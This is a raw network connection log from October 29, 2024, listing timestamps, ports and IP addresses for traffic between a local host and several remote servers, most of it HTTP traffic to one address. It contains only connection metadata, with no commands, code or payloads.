Oct 29, 2024 17:59:45.895608902 CET	443	50008	23.198.7.181	192.168.2.6
Oct 29, 2024 17:59:45.895628929 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.895658970 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.896562099 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.896574020 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.896626949 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.914983988 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.915019989 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.915069103 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.915086031 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.915102005 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.915167093 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.925946951 CET	50007	443	192.168.2.6	23.198.7.181
Oct 29, 2024 17:59:45.941124916 CET	50008	443	192.168.2.6	23.198.7.181
Oct 29, 2024 17:59:45.965009928 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.965070009 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.965070963 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.965106010 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.965141058 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.965159893 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.965177059 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.965193987 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.965213060 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.965219975 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.965260983 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.965440035 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.965491056 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.965495110 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.965536118 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.965629101 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.965641975 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.965678930 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.965698957 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.965698957 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.965734959 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.965747118 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.965775013 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.965818882 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.966411114 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.966478109 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.966483116 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.966511965 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.966527939 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.966686964 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.967447042 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.967463017 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.967509985 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.967523098 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.967556000 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.980726004 CET	443	50010	204.79.197.219	192.168.2.6
Oct 29, 2024 17:59:45.981040955 CET	50010	443	192.168.2.6	204.79.197.219
Oct 29, 2024 17:59:45.981055021 CET	443	50010	204.79.197.219	192.168.2.6
Oct 29, 2024 17:59:45.982069016 CET	443	50010	204.79.197.219	192.168.2.6
Oct 29, 2024 17:59:45.982132912 CET	50010	443	192.168.2.6	204.79.197.219
Oct 29, 2024 17:59:45.984539986 CET	50010	443	192.168.2.6	204.79.197.219
Oct 29, 2024 17:59:45.984589100 CET	443	50010	204.79.197.219	192.168.2.6
Oct 29, 2024 17:59:46.012815952 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.012876034 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.012896061 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.013016939 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.013751984 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.013781071 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.013811111 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.013828039 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.039030075 CET	50010	443	192.168.2.6	204.79.197.219
Oct 29, 2024 17:59:46.039047003 CET	443	50010	204.79.197.219	192.168.2.6
Oct 29, 2024 17:59:46.039870977 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.039911985 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.039962053 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.039980888 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.040003061 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.040026903 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.050664902 CET	443	50009	204.79.197.219	192.168.2.6
Oct 29, 2024 17:59:46.050872087 CET	50009	443	192.168.2.6	204.79.197.219
Oct 29, 2024 17:59:46.050888062 CET	443	50009	204.79.197.219	192.168.2.6
Oct 29, 2024 17:59:46.051867008 CET	443	50009	204.79.197.219	192.168.2.6
Oct 29, 2024 17:59:46.051945925 CET	50009	443	192.168.2.6	204.79.197.219
Oct 29, 2024 17:59:46.052256107 CET	50009	443	192.168.2.6	204.79.197.219
Oct 29, 2024 17:59:46.052314997 CET	443	50009	204.79.197.219	192.168.2.6
Oct 29, 2024 17:59:46.082022905 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.082086086 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.082098961 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.082148075 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.082171917 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.082206964 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.082252026 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.082254887 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.082284927 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.082303047 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.082324028 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.082436085 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.082488060 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.082488060 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.082519054 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.082535028 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.082535982 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.082571030 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.082962036 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.083034039 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.083039045 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.083050013 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.083065987 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.083074093 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.083081961 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.083089113 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.083106041 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.083117008 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.083681107 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.083709002 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.083724976 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.083751917 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.083786011 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.084889889 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.085035086 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.085908890 CET	50010	443	192.168.2.6	204.79.197.219
Oct 29, 2024 17:59:46.087678909 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.087694883 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.087723970 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.087743044 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.087778091 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.087778091 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.101552010 CET	50009	443	192.168.2.6	204.79.197.219
Oct 29, 2024 17:59:46.101560116 CET	443	50009	204.79.197.219	192.168.2.6
Oct 29, 2024 17:59:46.103173971 CET	443	50001	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:46.103359938 CET	50001	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:46.103369951 CET	443	50001	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:46.104801893 CET	443	50001	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:46.104855061 CET	50001	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:46.105732918 CET	50001	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:46.105811119 CET	443	50001	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:46.105891943 CET	50001	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:46.105937958 CET	50001	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:46.105946064 CET	443	50001	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:46.131550074 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.131601095 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.131607056 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.131643057 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.131653070 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.131676912 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.131683111 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.131720066 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.148478031 CET	50001	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:46.148487091 CET	50009	443	192.168.2.6	204.79.197.219
Oct 29, 2024 17:59:46.164088964 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.164155006 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.183993101 CET	50022	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:46.184026957 CET	443	50022	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:46.184109926 CET	50022	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:46.184890985 CET	50022	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:46.184906006 CET	443	50022	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:46.194364071 CET	443	50015	3.168.2.47	192.168.2.6
Oct 29, 2024 17:59:46.194973946 CET	50015	443	192.168.2.6	3.168.2.47
Oct 29, 2024 17:59:46.194986105 CET	443	50015	3.168.2.47	192.168.2.6
Oct 29, 2024 17:59:46.195467949 CET	443	50015	3.168.2.47	192.168.2.6
Oct 29, 2024 17:59:46.195732117 CET	50015	443	192.168.2.6	3.168.2.47
Oct 29, 2024 17:59:46.195812941 CET	443	50015	3.168.2.47	192.168.2.6
Oct 29, 2024 17:59:46.195852995 CET	50015	443	192.168.2.6	3.168.2.47
Oct 29, 2024 17:59:46.199172020 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.199188948 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.199203968 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.199263096 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.199263096 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.199321985 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.199352026 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.199367046 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.199382067 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.199414015 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.199414015 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.199414015 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.199444056 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.199857950 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.199873924 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.199888945 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.199903011 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.199909925 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.199927092 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.199954987 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.200351000 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.200372934 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.200387955 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.200397015 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.200402975 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.200411081 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.200421095 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.200431108 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.200444937 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.200464010 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.207297087 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.207323074 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.207362890 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.207371950 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.207417011 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.207417011 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.207549095 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.207578897 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.207612991 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.207626104 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.207645893 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.207668066 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.239347935 CET	443	50015	3.168.2.47	192.168.2.6
Oct 29, 2024 17:59:46.242618084 CET	50015	443	192.168.2.6	3.168.2.47
Oct 29, 2024 17:59:46.249053955 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.249089003 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.249135017 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.249152899 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.249222994 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.249295950 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.249335051 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.249342918 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.249377966 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.249420881 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.290237904 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.290278912 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.290298939 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.290318012 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.290361881 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.290386915 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.316597939 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.316632986 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.316668034 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.316683054 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.316700935 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.316723108 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.316767931 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.316823959 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.316831112 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.316865921 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.316875935 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.316901922 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.316910982 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.316939116 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.316945076 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.316973925 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.316976070 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.317011118 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.317051888 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.317667961 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.317733049 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.317737103 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.317802906 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.317852974 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.317856073 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.317894936 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.317899942 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.317929029 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.317935944 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.318341970 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.326616049 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.326675892 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.366170883 CET	443	50015	3.168.2.47	192.168.2.6
Oct 29, 2024 17:59:46.366254091 CET	443	50015	3.168.2.47	192.168.2.6
Oct 29, 2024 17:59:46.366266012 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.366316080 CET	50015	443	192.168.2.6	3.168.2.47
Oct 29, 2024 17:59:46.366333961 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.366362095 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.366389990 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.366401911 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.366432905 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.366446972 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.366471052 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.366539955 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.366554976 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.366584063 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.366596937 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.367347956 CET	50015	443	192.168.2.6	3.168.2.47
Oct 29, 2024 17:59:46.367347956 CET	50015	443	192.168.2.6	3.168.2.47
Oct 29, 2024 17:59:46.367362976 CET	443	50015	3.168.2.47	192.168.2.6
Oct 29, 2024 17:59:46.367460012 CET	50015	443	192.168.2.6	3.168.2.47
Oct 29, 2024 17:59:46.415545940 CET	443	50001	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:46.416057110 CET	50001	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:46.416105986 CET	443	50001	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:46.416163921 CET	50001	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:46.416174889 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.416241884 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.416569948 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.416630030 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.416640997 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.416671038 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.416682005 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.416718960 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.417642117 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.417659044 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.431210995 CET	443	50016	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.431802034 CET	50016	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.431817055 CET	443	50016	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.432167053 CET	50016	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.432172060 CET	443	50016	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.434051037 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.434107065 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.434139967 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.434165955 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.434179068 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.434181929 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.434197903 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.434199095 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.434217930 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.434225082 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.434241056 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.434250116 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.434292078 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.434575081 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.434626102 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.434643030 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.434665918 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.434683084 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.434689045 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.434700012 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.434706926 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.434726954 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.434736967 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.434750080 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.434765100 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.434792042 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.434803009 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.435504913 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.435558081 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.444380999 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.444418907 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.444448948 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.444480896 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.444489956 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.444506884 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.444534063 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.444545031 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.445355892 CET	443	50017	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.445802927 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:46.445811033 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:46.449870110 CET	50017	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.449884892 CET	443	50017	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.450839996 CET	50017	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.450846910 CET	443	50017	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.469065905 CET	443	50020	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.469474077 CET	50020	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.469494104 CET	443	50020	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.470319986 CET	50020	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.470326900 CET	443	50020	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.473555088 CET	443	50019	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.474589109 CET	443	50018	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.477307081 CET	50019	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.477318048 CET	443	50019	13.107.246.45	192.168.2.6
